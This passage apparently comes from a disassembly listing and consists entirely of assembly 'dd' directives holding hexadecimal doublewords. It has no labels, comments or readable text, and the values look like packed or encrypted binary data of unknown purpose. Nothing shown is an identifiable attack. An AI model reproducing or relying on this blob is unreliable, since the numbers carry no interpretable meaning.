		dd 9438908h, 98BC63F0h,	40B1B84Dh, 0BC1E92FCh, 0A7D2C950h
		dd 9E5DD7Fh, 0A81D765Fh, 7FC5F83h, 0CCE681B0h, 7FF17479h
		dd 36846AD4h, 44422536h, 5EA0598Ch, 0F6528512h,	6A84C817h
		dd 752D6157h, 613B250Dh, 49B9F52Ah, 576240E1h, 0D94A9FE8h
		dd 0FAFCC892h, 9069F8AFh, 0C865A417h, 9E110512h, 82E22755h
		dd 0C4517407h, 0DFFDF881h, 0B1293269h, 92A624A9h, 0C8806DC9h
		dd 0EB8827D4h, 89A39C3Ch, 0FE16B4E9h, 0F7571846h, 0EF1CBB4Ah
		dd 0F18CC925h, 8FE94E8Ah, 8F08E37h, 7223E15h, 0BC624EA2h
		dd 6135D45Dh, 9F8A5D74h, 0EA02C628h, 55510430h,	2B3AAFCh
		dd 8AEBEB88h, 8229948h,	0C3A83B08h, 3548EB02h, 31BC598h
		dd 2203E49h, 0E166099Ah, 89D0ECA0h, 5EB3608h, 0F6AE0E11h
		dd 223E916h, 2A406B33h,	986A0A7Bh, 0C742A60h, 35ED613Bh
		dd 4141EB59h, 9321743Eh, 4B30400Dh, 0A2C8E80Ch,	0C0BC8018h
		dd 0F825EB99h, 0B70CA9BCh, 0B8F2DAF3h, 54E80821h, 90E039A7h
		dd 3308803Bh, 741AA0D2h
		dd 7FE4A01Bh, 57C5F17h,	0B1117350h, 0B085F3B0h,	6A91DADFh
		dd 0EBFA0D3Ch, 0CA01804h, 3750E78h, 2712E783h, 9D0934B3h
		dd 0E038A5FEh, 0C8BF700h, 75C70BC6h, 6B9AE415h,	0E589B75Eh
		dd 62615F61h, 67F968Ah,	0C0EF201Ah, 5299F420h, 56655750h
		dd 0AC0C036h, 4ADDE8C4h, 89BDD7EDh, 0C3332F58h,	0DC01030h
		dd 0EE4BE830h, 39FBF422h, 37E68A0h, 0D4665DE2h,	0E682F862h
		dd 0EB181988h, 0B42BA3B5h, 8052061Bh, 0C2756AEh, 80328B3Fh
		dd 75303915h, 660B48AAh, 1A21404Bh, 373001C6h, 0BCD89905h
		dd 16B4775Fh, 0C3F6FC41h, 0AA26D343h, 0A8C270C7h, 68EB2D8Bh
		dd 470B2014h, 0F09B42Bh, 920B6802h, 19F4820h, 0E00E92A4h
		dd 6B37E2Bh, 0C3226F4h,	0E0852C79h, 0E8206A56h,	623D176Bh
		dd 4399FF88h, 0DF2BADEAh, 263269A5h, 3F9A5A16h,	32040ACAh
		dd 70E83058h, 11BD86E5h, 0CA04102h, 0FC7E528Ch,	12F88F40h
		dd 6FF788Dh, 914303DEh,	0E8ECC874h, 53560727h, 8D3205A3h
		dd 24E5EA4Dh, 0C8C41814h, 0C78B3E20h, 0D0DCA84Fh, 591553EBh
		dd 5688EA4Eh, 1EBA52E8h, 5604AD54h, 718AA674h, 0C7D6236h
		dd 10B5FA59h, 0F9130504h, 205F96F2h, 417F0B78h,	7D64E1E0h
		dd 4844FC08h, 44E21F7Eh, 4F89BC87h, 942039ADh, 49FF0C4Dh
		dd 0E78041Eh, 0F88A1189h, 0BD027C0Bh, 31053D09h, 0E899230Bh
		dd 0F4F7F7F3h, 4DE7A959h, 5787FE8h, 0C35D8DA0h,	84FC3F7h
		dd 0AAD072B8h, 0E0217EC5h, 7CB718ECh, 0E814C1B5h, 0EACD3EACh
		dd 1C953ECDh, 7F2F2107h, 88C9762Bh, 4BBBFF0Ch, 26657266h
		dd 6D1C657Bh, 622C010h,	6DDF4657h, 7553FD68h, 363F2137h
		dd 0E2406F50h, 8C449F5Bh, 0DFE78370h, 3253D485h, 6DD0080Dh
		dd 1464414Ch, 0A21DFC51h, 0DC1E8B66h, 27C0489Dh, 0F981A402h
		dd 77891ED4h, 0C030560Ch, 0EB4104B7h, 0C84E527Ch, 0F40A4F8h
		dd 88F94FC1h, 1FE445Eh,	785E802Fh, 0FE652CC6h, 265E26A0h
		dd 6AFD05A3h, 7701A902h, 0F0EBDF83h, 0A99A1BCh,	81A40CAFh
		dd 9AE3BC51h, 54808418h, 465F1C22h, 45A8C3DEh, 0C9B230Ah
		dd 0F7F7124Fh, 603D3B03h, 0D61346CAh, 51238683h, 0D2F792C7h
		dd 1FE60801h, 0BE6F1C8Dh, 0FD1A0392h, 4112C2E4h, 0B1706984h
		dd 627EE740h, 35F43C1Dh, 0FA8D1651h, 9E2F29E8h,	0B03C8BCEh
		dd 3B591320h, 1C40CCC5h, 0E58B1458h, 6909F3AFh,	2A94F7F4h
		dd 0A30CE84Fh, 0BF7C3CEDh, 590323A0h, 0B4D96480h, 4170ED3Ch
		dd 0F6E81A55h, 3A426147h, 140495D4h, 27B92583h,	64F7BC70h
		dd 25AA6509h, 5B9CF21Fh, 0BD1DBFCCh, 0FF197D01h, 0E5E72076h
		dd 7266D540h, 0F70C1881h, 895976FBh, 46310672h,	5E040608h
		dd 8B712B49h, 91B0B06Eh, 0F22516E1h, 492CE123h,	85A105CDh
		dd 0D46F620h, 5E0F6982h, 58A69133h, 1B46623Ah, 18F2F7C0h
		dd 0C3C5350h, 5F35C3BDh, 0E17301D5h, 40F98003h,	0A96637E8h
		dd 31F30850h, 85C24EB6h, 570A60FFh, 923CA150h, 4E7AA37Fh
		dd 0E2976ECh, 3BE12C99h, 0B4FD2497h, 0FAB40721h, 0FFCB1ABAh
		dd 82C2D263h, 919AF599h, 58A68EABh, 0E2BFCB59h,	0CEA1F5CCh
		dd 24403539h, 4D0C7E68h, 0EB928A1h, 0B004258Bh,	0E9FD0ED7h
		dd 20E75648h, 9A3073E4h, 750117AAh, 49B3BC0Fh, 5795363h
		dd 1AEB431Dh, 750C161Ch, 0DB024413h, 75C436DAh,	0C50BDC0Eh
		dd 4D453B46h, 3959B37Ch, 0F96E74E2h, 4238577Dh,	516912AEh
		dd 0F1770262h, 0E975A541h, 45790B9Dh, 3CA06389h, 0B7F805FFh
		dd 0BFF380D2h, 83527501h, 6E8C853Ch, 8D57D721h,	0EF2A0A49h
		dd 0C1FEC052h, 6AD3BEA0h, 78A7FA8h, 468D0487h, 2103C514h
		dd 92580676h, 7C41180Ch, 3F8B0DEBh, 14995EF5h, 0BF3E267Eh
		dd 509CC810h, 116B0209h, 2986F4B9h, 0A09CA25Fh,	48745610h
		dd 84956522h, 2924103Dh, 0B089139Ah, 667C80B2h,	272BEE48h
		dd 5D435F18h, 0B2080E24h, 353D5A49h, 0EF4540F6h, 0FE673604h
		dd 55F65E49h, 0A108EE9h, 912D8FB8h, 0F83FDB36h,	78A8046h
		dd 7474613Ch, 0D272481Ah, 8F7B478h, 0B91D0122h,	0EBA08525h
		dd 0CE3F85F9h, 6D087E77h, 7F142709h, 8A5A5F03h,	3A22DF47h
		dd 0E1D9DFC3h, 0E6D33B0Bh, 48BEFC73h, 541945C0h, 0DC607E7Fh
		dd 45EA2BE8h, 48190ACFh, 0C0E1336h, 0AC9A48C9h,	0C43941CDh
		dd 5EEAA32Ah, 83021AA6h, 0B7EB20C9h, 688E15A4h,	0A2EB2410h
		dd 75400697h, 0E9EB147Dh, 37820498h, 0FE3F6173h, 0DEFC4E60h
		dd 0CE81C920h, 82EB38E8h, 0C0A2B85Ah, 5975C807h, 72E9420Bh
		dd 0E816BC44h, 0F6827462h, 0E40B052Eh, 750B066Dh, 1C5F640h
		dd 0CD803B2Fh, 9F53E9E0h, 0A5BE5ED1h, 0C3A17C2Eh, 0BFFBE681h
		dd 3CE92414h, 5117C817h, 8D40C1CEh, 2F25E90Ch, 3E2D77A8h
		dd 1936D233h, 0E1E58419h, 0A4681111h, 9763FC2Eh, 0EA121522h
		dd 0FFD44A0Bh, 7DCB3640h, 1A16FD91h, 0F5581FE1h, 0C703989h
		dd 9904589Dh, 9F080A18h, 48931C06h, 8B13FBB3h, 94512515h
		dd 0ACB5C42Bh, 57D580FAh, 4C8B5D7Eh, 0FBCFAB1Dh, 0CDE00F0Fh
		dd 41F61574h, 0AECFAB8h, 0C387405Fh, 0EC7CC2E0h, 8B3F1FEBh
		dd 24BAFA34h, 206AF882h, 1AE0E7C1h, 0B692D196h,	3080CCB0h
		dd 0F4D0489h, 73C80E3h,	5C74FD3Bh, 54766818h, 0D4EF0F5h
		dd 6E89FF10h, 0F876CFECh, 0A2EEECCh, 0C68B2C1Ch, 98A161EAh
		dd 0EA223AB6h, 4475740Fh, 0DEB4C9D0h, 414A446Ah, 32F9CD4Ch
		dd 0D38D4A27h, 27386120h, 8E05A4Dh, 1DB63C48h, 0C1030D03h
		dd 881AC88Ah, 7540EA0Eh, 146261Bh, 2CB86130h, 146A6C12h
		dd 5A8AD0B3h, 0FFCA24EBh, 5FE28BF1h, 0D134FD4Dh, 78BD55C1h
		dd 0FFB129A8h, 0C6C1291h, 0DF087205h, 562CB7E9h, 0ED40D46Ch
		dd 0B7904968h, 3275503Bh, 706B4217h, 0D03A411Ah, 8D818314h
		dd 3821058Dh, 0E006179Dh, 8998010Ah, 1087C3Ah, 2C047F7Ah
		dd 41F18820h, 0EDC8C27Bh, 166A4290h, 90F87ECEh,	0E208E809h
		dd 0F544EC77h, 64EB1A48h, 0BE641049h, 0AED771E9h, 83A06566h
		dd 0CB86813h, 1B817E56h, 2F434950h, 0EFCD6A83h,	0D2FE2DE8h
		dd 2C6A3E06h, 0E354221Ch, 12FF1ADCh, 0EF044030h, 2EB01838h
		dd 0EE60FD39h, 0EB192A88h, 6AF22F3Ch, 218B0257h, 97B859DBh
		dd 1D480CF8h, 18EA030Ah, 0D4A50181h, 98E83423h,	7D80B51Eh
		dd 0FD590649h, 7F03A561h, 7245FC89h, 0EB0C57AEh, 940F1A91h
		dd 0B54EF3Bh, 5AA3CB05h, 362C983Ch, 8B6593E8h, 91456FFFh
		dd 0E9160D75h, 8424DED3h, 0C30AEB46h, 9C18753Eh, 5F350B5Eh
		dd 6EA9CD85h, 0CEAA74C8h, 684AD5A4h, 0AD2995FEh, 44B3A615h
		dd 14E759Ch, 378396C8h,	0C1B9425h, 0C684980Eh, 1190A366h
		dd 0EA0D892Dh, 0B20DD5D0h, 65BE690Dh, 1F03A190h, 0C2800C8Dh
		dd 8808A09Ch, 0BF73C13Bh, 2B042921h, 0FA81F050h, 724B8AE1h
		dd 1406CE07h, 0B7EEE8EBh, 706B15DEh, 9719979Dh,	4CE2EE41h
		dd 0FCC6A860h, 0F792B3Eh, 0E10FEFC1h, 4C969CFh,	8C0A7E7Dh
		dd 929A4401h, 0E7CE089h, 59F1494Bh, 9BF012A6h, 14F833E6h
		dd 1C738D31h, 0F47955FEh, 3E83564Bh, 3012FEF8h,	5D3CC2F6h
		dd 7E03750Ch, 4A04FAC1h, 763FA083h, 166A7403h, 1C4B8B5Ah
		dd 7508C613h, 2009204Ch, 52BB1E73h, 0CA8B0066h,	4C8DEBD3h
		dd 0F7770402h, 0B85C2100h, 7509FE44h, 0DC82AB28h, 8DE19587h
		dd 2154E04Ah, 0B89C1F70h, 4521D9C4h, 65590806h,	0EDFC0C04h
		dd 80328FBh, 1E08533Fh,	8CBC045Bh, 2E5A89F4h, 0D90C7655h
		dd 61521325h, 0D131953Fh
		dd 2487B580h, 974AE3B5h, 0EC24B5F4h, 0FE752B43h, 0FBC11925h
		dd 40893604h, 3B5E4BF3h, 276DE0Eh, 34909B8Bh, 689D12Ch
		dd 25D63B39h, 74DAD8E9h, 14CE636Ah, 73BE7114h, 0FBD96182h
		dd 0BE1CBE41h, 0D302CB0Ch, 21D6F7EEh, 4CBAA074h, 52750403h
		dd 31019A26h, 4B8D1FEBh, 4A1F54E0h, 0CDB8B41Dh,	71BA1841h
		dd 9A97408Bh, 5289F249h, 83790C4Eh, 752419FCh, 0F75DCF48h
		dd 0FD7B6C6Dh, 1A75EAAFh, 5C6CA1EDh, 0BD2104D1h, 6D5E9403h
		dd 0BE5F5265h, 0C836C70h, 751EC23Bh, 204A8A60h,	4D8851A0h
		dd 0C175FE0Fh, 257319C4h, 82BCA8C7h, 6C60910Eh,	194809EDh
		dd 8F44E26Eh, 0EA18EEAEh, 10922529h, 26056739h,	0BA215619h
		dd 84F4EA0Ch, 927B9A6h,	72F95210h, 30443B06h, 0FA0A535Fh
		dd 2DF72B0Ch, 997E9AA1h, 58DC91F0h, 1D8C37CEh, 687C3562h
		dd 0DE1C1A6h, 0C48030Fh, 68DA70A6h, 53828494h, 92D6FF51h
		dd 5C332820h, 8500961h,	3A340F54h, 0A4BDC1FBh, 58DAA388h
		dd 48FE2130h, 0F10BA443h, 2B6A5DEEh, 60BAC055h,	12FE5504h
		dd 447878E5h, 46536916h, 0B60C701Ch, 142D138Bh,	69B2DB10h
		dd 0EE8BF619h, 409F466h, 5E0C180h, 294EC8C3h, 4C03F32Bh
		dd 0A951EC11h, 0C0D21448h, 0BCD344D1h, 0F4089757h, 30A00D84h
		dd 23A1053Bh, 6D4B2076h, 2F14082Ch, 14539B69h, 0A53D8945h
		dd 0F83DB59Fh, 9614E2E2h, 0D3319864h, 821182CDh, 0BE6CFEF4h
		dd 0E1831617h, 0C12341F0h, 0EB4904F9h, 0E7D20A0h, 0FF4CCEFEh
		dd 5BB54E0Bh, 0EBCA0A3Ah, 9D9120ECh, 0D3F6E368h, 0E11FE86Bh
		dd 6850A161h, 98DF3BD8h, 73081698h, 3D235F19h, 315823B7h
		dd 3ACF0BFEh, 4BC3CCA0h, 63D2BC14h, 7E77233h, 8B797511h
		dd 8D8F5DAh, 5D91527h, 0BCE6EB11h, 4B59B134h, 7BF81173h
		dd 0D8409A08h, 0EDEB5529h, 0A2638A1h, 891C0D2Ah, 0E10EE30h
		dd 0BCB138E8h, 0DB85983Ch, 7F14743Bh, 1FDA6653h, 107FB859h
		dd 43500175h, 0FF5E38A9h, 0C50FC3C8h, 361D892Bh, 93E72AA6h
		dd 2FE0FA2Eh, 495CDFFCh, 0B413908Ch, 44BA7CBBh,	377D8994h
		dd 706413A4h, 0DE105524h, 8F70AC5Ah, 8D0BA948h,	17F91803h
		dd 532E91D5h, 6AC1B8C0h, 0C020053Bh, 3907FE78h,	0E974D70Bh
		dd 98209A8Dh, 61FF5D33h, 4C4983F5h, 75CEB10Ah, 6A63670Dh
		dd 5FCB0020h, 57CC985h,	470CE1D1h, 438BF7EBh, 88F96254h
		dd 1FC92B0Ah, 0C65EA6F1h, 4E4EFE1Fh, 7E3F8583h,	0C8C2E794h
		dd 0D9960F7h, 614A8901h, 6101CE22h, 8520FF83h, 1601B32Bh
		dd 0FF0F24CFh, 0A838180Bh, 0EC01F453h, 44885C23h, 0FE0904DFh
		dd 0AA38750Fh, 0EC4DE740h, 0B8EB0B21h, 154F58CAh, 962C50E4h
		dd 4DD69F48h, 0A8541986h, 2D86996Fh, 0B26686A2h, 7A06D2D9h
		dd 0F872C26Bh, 7D79B987h, 81A9BEDh, 8DFA9C12h, 7CAA0829h
		dd 41C0F159h, 0EE46B9A6h, 2251CA52h, 9E9A0C37h,	0C08264E5h
		dd 42FE0406h, 0C2297D0Bh, 0BF9763C2h, 29257B0Fh, 81B1BFC6h
		dd 9EFD3CEh, 170B5D3Bh,	57CE590h, 2C2FEBAFh, 8D150D29h
		dd 6421E04Eh, 17A47B55h, 0AEBC538Dh, 86142E6Bh,	2C370932h
		dd 8E32FEF8h, 9560A89h,	344BFC01h, 773EF8FCh, 146D165h
		dd 0FC321304h, 0E36A097h, 798D3344h, 1AD83E20h,	0ED991D3Bh
		dd 9912373Ch, 42A21ABBh, 30705307h, 8D088925h, 904422Ch
		dd 0D03B069h, 64D58A88h, 75C117B5h, 895D0530h, 4B709750h
		dd 499C8E04h, 7A485457h, 893AC2DDh, 949B4689h, 683E48C9h
		dd 0C468040Bh, 0B0E19641h, 31844698h, 814B34F2h, 7E68F436h
		dd 74100389h, 68046A2Ah, 51E42082h, 15A976D8h, 271AA680h
		dd 5B5A750Ch, 0A4FA5759h, 7D30C0F1h, 0B622B84Eh, 47E0E68h
		dd 0B46305CAh, 5BEAA884h, 51C9D8A9h, 577FE164h,	3CC9714Ch
		dd 0DB339741h, 5044C312h, 0C34943E0h, 0D9693887h, 705A8291h
		dd 839930F9h, 408CF7ACh, 9F040608h, 924A0F04h, 8682FB1Fh
		dd 0DDE1E7C1h, 70F06E79h, 708CA410h, 7F2F8580h,	22931231h
		dd 20973875h, 0FA3B0F70h, 474C3C77h, 0F3B048F0h, 0EC4B88E8h
		dd 0EE7EBBBDh, 0C70FC7FCh, 55F06440h, 0EF1E6443h, 4803F3ECh
		dd 0E880C704h, 5152340h, 2D6357A2h, 0F706FEDCh,	90F88BC7h
		dd 50C2D84h, 15F0CCABh,	0ADE84FDCh, 0C4A8D1Bh, 9010B412h
		dd 449E640Ch, 22EBBC86h, 468A0EE4h, 82C86943h, 0E8C0840Ch
		dd 0F84E887Bh, 9030475h, 0B6BA0478h, 0F7EA019Ah, 85021D2h
		dd 0B573C3E5h, 0B2FD0C8Ah, 5DDC1052h, 8DD7806Fh, 4E2B1770h
		dd 83EA4551h, 0EAACC1E6h, 3285610Fh, 0FC4FB083h, 5D3B5949h
		dd 5A5C2C50h, 5E4CF239h, 8E0F5603h, 0C73B4B5Fh,	4F859382h
		dd 0D9031307h, 8FA3F33Bh, 1BCDF445h, 3F2CF166h,	676898Eh
		dd 11594F06h, 0E45F8B26h, 0C248C039h, 1F73202Ch, 0F88254C5h
		dd 71014C8Dh, 889010F2h, 0A124C42Bh, 13221F18h,	0F59E909Ch
		dd 0A7654F3Bh, 6091989h, 6065627Fh, 0CE2B1030h,	0F9F8D601h
		dd 0AA9C40C7h, 608B03E1h, 0C10C2A14h, 4F6604FFh, 0F130318Ah
		dd 5F88FB38h, 1CC8F41Fh, 55CC20FBh, 12B6405Bh, 46B8800Ch
		dd 0CC0C18DBh, 751E3B4Ch, 208C5C58h, 13FF4407h,	40BE4C9Ch
		dd 2CDC8321h, 0E6908ECFh, 66B0B982h, 2554EBCFh,	33B81021h
		dd 84F14896h, 2EA5BA4Dh, 48584FBAh, 9D0C552Ch, 0CA324442h
		dd 1746143h, 246F8762h,	9B3F46EFh, 2A092242h, 7647E9F8h
		dd 0D8C09DB0h, 8D0F0F43h, 0C10D3A69h, 0B5A629DFh, 6E4B98A4h
		dd 0A5B2335Ch, 585268FBh, 832399E9h, 5ED899DEh,	8B43153Bh
		dd 0FB939D71h, 4505A6D4h, 3B225219h, 0E1772E42h, 6C68FEB2h
		dd 7422CEA2h, 167A4506h, 216C8B0Eh, 8E06C44Eh, 91EEDA77h
		dd 7102777Ah, 601ECC1Bh, 0BC038F81h, 760CE8E6h,	10EEC77Ah
		dd 0DD4B207Bh, 0BC71A47Bh, 5CFB62DAh, 13A7EEE5h, 621851AEh
		dd 3DD6AE38h, 394042E3h, 0CE106247h, 164B0F88h,	792281E6h
		dd 4EC86222h, 0E604F57Ah, 184C8103h, 39CD7AFCh,	3DA7812Bh
		dd 4D823B50h, 0ACD874FFh, 40BE0CC3h, 1D1CEB19h,	3E6F2068h
		dd 0F2729F5Bh, 0C840F12h, 0C42D7322h, 0C570B1D1h, 0D52A0940h
		dd 84475176h, 34AACF7Dh, 3150D629h, 0A7575303h,	0AF03A434h
		dd 35CB84Ah, 1E75F03Bh,	2C0AE441h, 8A32863h, 67441CC8h
		dd 108EA1Ch, 68915EBh, 0B80944A1h, 35507A13h, 30888B09h
		dd 6887518Dh, 0D9988ED8h, 0FE143491h, 4E16335Eh, 0CB7EEB0Ah
		dd 0DA15C3Eh, 2DF1B9EDh, 7F83D2DCh, 9D0F03FDh, 0D1234AC2h
		dd 97894599h, 94214832h, 0E46EFD81h, 0E34E7C6Bh, 0E707D1FEh
		dd 96B97CBAh, 0C303EC40h, 1D73F83Bh, 758F801Bh,	47768271h
		dd 0C7078140h, 0F06704EAh, 0B58A811Bh, 8BDCEB40h, 0B927E8C6h
		dd 1371B4BEh, 81B4D1FFh, 74AC48FEh, 0A4F8CFBFh,	6245278Ch
		dd 6FAE31A1h, 39023321h, 0BA16035h, 9AC1F708h, 433115A3h
		dd 0B321B920h, 2D89910Eh, 0A6A80634h, 0C95221AAh, 0D48EA70h
		dd 0DC65DE91h, 6206EA01h, 0ED858357h, 6399ABFFh, 0BE3F3139h
		dd 68507D49h, 0AE3F6EF0h, 7585BA74h, 0A2C5C539h, 0DF03284Dh
		dd 50567AA6h, 5AF4B85h,	20F83D4h, 0B69C0DF9h, 0C69E752h
		dd 0C7640421h, 3C1E87C5h, 54658BE7h, 0D8A3FA7h,	0F30EB81h
		dd 8561EF83h, 72B27DDBh, 72504823h, 7404760Fh, 75796B2Ch
		dd 0FC264785h, 204109A5h, 0CE7E85Ah, 10529142h,	8EFCAFAh
		dd 51310449h, 14EEE9EFh, 0C5A53B59h, 21AB0A74h,	14508FF2h
		dd 850FB9AAh, 0F624BA04h
		dd 3BCAC600h, 62761041h, 72140A05h, 0CF09F787h,	0EB3774C0h
		dd 0F13A8EEh, 570E3175h, 790109BAh, 2DF2EA4h, 2072F23Bh
		dd 898DE074h, 0AA200D0Eh, 816614C8h, 2B1AE2E1h,	0BD51EC1h
		dd 9098F097h, 9D0871F1h, 57090C92h, 2B93A257h, 0F958C048h
		dd 0C82EC60Ch, 0FF01D18h, 111B603h, 24218010h, 41113898h
		dd 320440C7h, 17750517h, 0FB2405FFh, 6096684h, 0B2F5C20h
		dd 61F5E810h, 2C3B59B4h, 0A1226014h, 0B469F343h, 0F052CD5Eh
		dd 6A98087Eh, 13201831h, 0B16F2BC7h, 0F64BEB73h, 0E80C65F0h
		dd 0F93B25C2h, 3A73F080h, 0CE9E0F8Bh, 7CCB003Eh, 45F391Ah
		dd 53152F76h, 1B92702h,	8D153B77h, 2EBE09F5h, 0A542C7A9h
		dd 3822B112h, 6D1C872h,	4E2C4690h, 187E0CA8h, 3B5EF826h
		dd 4BA03AC6h, 14E2F933h, 174D197Ch, 8DF95314h, 4F6AE815h
		dd 819926CCh, 0D8A078D4h, 147D3BA6h, 46D272F8h,	0B794368Fh
		dd 0BA1574C5h, 0A88955B4h, 9F1F290Dh, 28E93D01h, 4C6A6701h
		dd 7F831291h, 632A9ECh,	0C2F60C0Ch, 0DC3F343Fh,	92D7DE08h
		dd 0C51FFBEBh, 0E94E44E6h, 2B3383F3h, 84EED2F7h, 0E608FEE0h
		dd 20C7712h, 9A11FE3Bh,	0BCDF302h, 2025EB25h, 0EF74F751h
		dd 0D7B1D354h, 57980144h, 73B9AA56h, 0FC6035Fh,	0CC84B885h
		dd 0D89575F3h, 0B7882F29h, 0FC552C82h, 0C1D28523h, 0B3617ECBh
		dd 1E85B835h, 8CF48880h, 1ADC5065h, 99BAA4FEh, 119CA149h
		dd 9D2541C7h, 6A831E5Ch, 207D4C1h, 3D89D675h, 0E962C592h
		dd 0C83B3790h, 39A37350h, 3B05F8CCh, 1CF261EBh,	3023C01Bh
		dd 0C4E4706h, 33E0C153h, 7229EC5Fh, 1FBCD703h, 8626FA88h
		dd 7BFC493Eh, 4BE8340Eh, 3E1157FBh, 0F062A29h, 3A325988h
		dd 76581954h, 7622DADAh, 54D8D32Bh, 29EC2290h, 8D18500Ah
		dd 0EB093481h, 729DD602h, 14F1F45Ah, 0A4867A8h,	998D390Bh
		dd 8D421992h, 290A8F0h,	218158BCh, 8817048Dh, 73A640CAh
		dd 11011A07h, 615F8E29h, 85D76159h, 8A1F1784h, 0E98C3DEEh
		dd 4E035BCEh, 4E5AA9F7h, 8D85B0h, 0F33B1034h, 188A4373h
		dd 75DB840Bh, 583C2730h, 3B805E31h, 4332016Ah, 8FF7EB46h
		dd 8A4E73A4h, 512EB45h,	63E922C7h, 553999B7h, 4E82B530h
		dd 0C38F6099h, 0A0A005EBh, 42A903F3h, 0BDE89E75h, 0C7C711Dh
		dd 0F67E73F7h, 0FC68DF16h, 68A7609h, 4055865Fh,	425E73A5h
		dd 43251F58h, 0D71CFA60h, 9B28158h, 19AC432Bh, 9E99AA42h
		dd 88311260h, 0EBC24910h, 73C22780h, 45502913h,	34487269h
		dd 0AEEB18F0h, 7703C0C4h, 70A764F0h, 25C26216h,	88D16841h
		dd 77B81648h, 0FC96B13h, 794C56BCh, 21952457h, 627BE95Bh
		dd 77570A86h, 2569155Eh, 82814740h, 806F0CF8h, 0C77C8D33h
		dd 12761813h, 72B17F0h,	10288C8h, 8C47D40Fh, 601AEBE1h
		dd 7296573h, 833402D3h,	28C6548Ch, 62D15572h, 0A730E11h
		dd 0F0C72B7Fh, 18F46E5Eh, 468A42E6h, 0DE8B6ACFh, 2B77D0C5h
		dd 27600AFFh, 73466F2Ch, 8973FE14h, 6606382Eh, 3C804007h
		dd 855F0969h, 0AB224347h, 1B302F63h, 4BEC2B03h,	0B873ECD2h
		dd 0A8B8253Dh, 0FE2950A4h, 0FBDD5C0Ah, 4C965625h, 0EE68D90Ah
		dd 0F7C90F0Fh, 85E86448h, 0FA72C495h, 85C34F5Dh, 0C837B9D7h
		dd 0E871B121h, 0E4197FDCh, 55C6595Dh, 5869826Ch, 7D04DF2Ah
		dd 0E8741818h, 9F035836h, 275022A3h, 0FE2FE008h, 919A5150h
		dd 0DC8C5E20h, 0C5D81A8h, 0EF31A018h, 96318A05h, 342CFD59h
		dd 9DC828A4h, 0C49B23DDh, 100C7310h, 9F04EB78h,	16CCCF28h
		dd 0FFC77968h, 7FA293EEh, 9844536Bh, 0EB861820h, 22A2B792h
		dd 0C2ADB642h, 1BC63A15h, 5B13ED12h, 8A0C0E1Dh,	0C1F610C7h
		dd 0F50D7432h, 8FDA4C93h, 5809C000h, 0FB12B704h, 10931211h
		dd 10044883h, 0A2CB8402h, 4B743391h, 9E8E1185h,	51E826F7h
		dd 76E21990h, 6A22B2FEh, 303BB543h, 0D1F78050h,	0E283CB23h
		dd 0E1C105EFh, 0E1CA0B04h, 1B840489h, 35372A2Dh, 7B7E2683h
		dd 8730E636h, 0E936BA17h, 0FB472E33h, 3E9C1C0h,	0FD81CF23h
		dd 6005CA0Ah, 1217FE15h, 5ABC25E8h, 74C38405h, 83E94007h
		dd 0A8100C49h, 7F0B0456h, 7B14DAF7h, 6FBA104h, 0FD9E0268h
		dd 45152032h, 0B01E5805h, 0EB3FB91Ch, 74490178h, 0BC2D3D34h
		dd 0E1F6477h, 0BE035208h, 3E2875C1h, 3AD8347h, 754FBCFEh
		dd 0CFD867B6h, 0C340AC5h, 56CB8F09h, 0F84520A3h, 21FC4220h
		dd 240BE03h, 22423EA6h,	0EBE32004h, 0E9E7731Ah,	0BF504C9h
		dd 0FE60D4Dh, 0D09801Ah, 0E981AF07h, 87E5E66Bh,	0B3058733h
		dd 0FE831FE2h, 1BD311F5h, 79139E41h, 685EB648h,	31E6F4E3h
		dd 0C3DD181Dh, 582A2775h, 50431F10h, 7C988676h,	116788B5h
		dd 3E07DD0Ch, 23E82540h, 1AC4D5DAh, 8CAE5350h, 885A153Fh
		dd 0F620AC58h, 420E740h, 26831B03h, 22EC13FEh, 220424FBh
		dd 200224F7h, 0A95884EFh, 0A741DF1Ah, 0A46FFFBAh, 1ACBE10Ch
		dd 0B611DFE9h, 0B0090316h, 4801E75h, 0EB0C014Eh, 83898718h
		dd 0CDDAFBE5h, 8950343h, 412F70Ah, 21026F80h, 0FD6CD716h
		dd 7E1142Eh, 0F1132034h, 2A166298h, 4AC612EBh, 7948CA23h
		dd 9075202h, 0DD5A0331h, 1F9AC740h, 0A4F345F5h,	57534239h
		dd 0E7269E58h, 0B428B21Fh, 14745B05h, 0AB015D84h, 8BE8530Fh
		dd 2CD6962Eh, 0DAE9F725h, 16D8A866h, 0DC7098F6h, 8A6ADE0Ch
		dd 411A71E8h, 12B0E9FBh, 1184F484h, 703D69D2h, 6AC8443Eh
		dd 4F501698h, 0E091B822h, 23EC022Fh, 2A79F5C8h,	43F98108h
		dd 10535874h, 3B2818E9h, 9D908530h, 0DD0565E6h,	0E01DDC01h
		dd 257895B8h, 6BD05005h, 1DDED895h, 7ED90277h, 1CF45D96h
		dd 6EEBCA5Ch, 35195B20h, 404A0876h, 24C5EB13h, 4628722Dh
		dd 0C8501117h, 4F1ED140h, 53402170h, 0DA8519B2h, 0FBE4EFFEh
		dd 0B80250A8h, 0E3DAACCEh, 0DE29C402h, 93CB2438h, 45AA8302h
		dd 30A48670h, 46C8718Eh, 0AD25B58Fh, 0C23D587Ch, 7D0247E8h
		dd 0C645DCCh, 4828D59h,	4D642FAh, 19E0CEFDh, 66095C7Dh
		dd 0EB2B8C6Ch, 8B435453h, 0D3398473h, 13D2E5A0h, 0ACFA458Ah
		dd 4F4E4C07h, 0B80D64EDh, 4060FC03h, 2B1F7D2Bh,	6084C134h
		dd 0EFC3EC5h, 7BD18144h, 0F81CCF6Dh, 48C7F8D2h,	22186F02h
		dd 5DE37548h, 0A9923ADh, 1BA242C7h, 3155EB18h, 6A325E60h
		dd 898D2E10h, 89FDDB02h, 118A25CEh, 8A09D453h, 14BE5C0Bh
		dd 0EF8917A5h, 0FF0501FCh, 14BC5B5Fh, 4E0FF75Ah, 0E1A056F4h
		dd 0E4B7983Ah, 642A746Ch, 0DBF19556h, 114D1411h, 8848FC5Ah
		dd 681C09F0h, 287E0D46h, 0DB2075A1h, 115DE0CAh,	0C972481h
		dd 0BB1D1AFCh, 25FD64D5h, 0A4383C1Ah, 9AB75607h, 0F8A30551h
		dd 3C2A11BAh, 1FBE882h,	94EE9BD7h, 0D620438Ch, 6EAE8D59h
		dd 7512CD49h, 157F4590h, 92F5C5BFh, 4F1ECBC3h, 0B8138AACh
		dd 0C458C468h, 0D091EFC6h, 67380E74h, 213D4112h, 7AED7CD5h
		dd 0CD047190h, 1A3BDE6Ch, 7BCB978Ah, 0EB056AF0h, 6798165Dh
		dd 0E870110h, 194CD18Fh, 0C27C063Ch, 0C3580311h, 75A08C70h
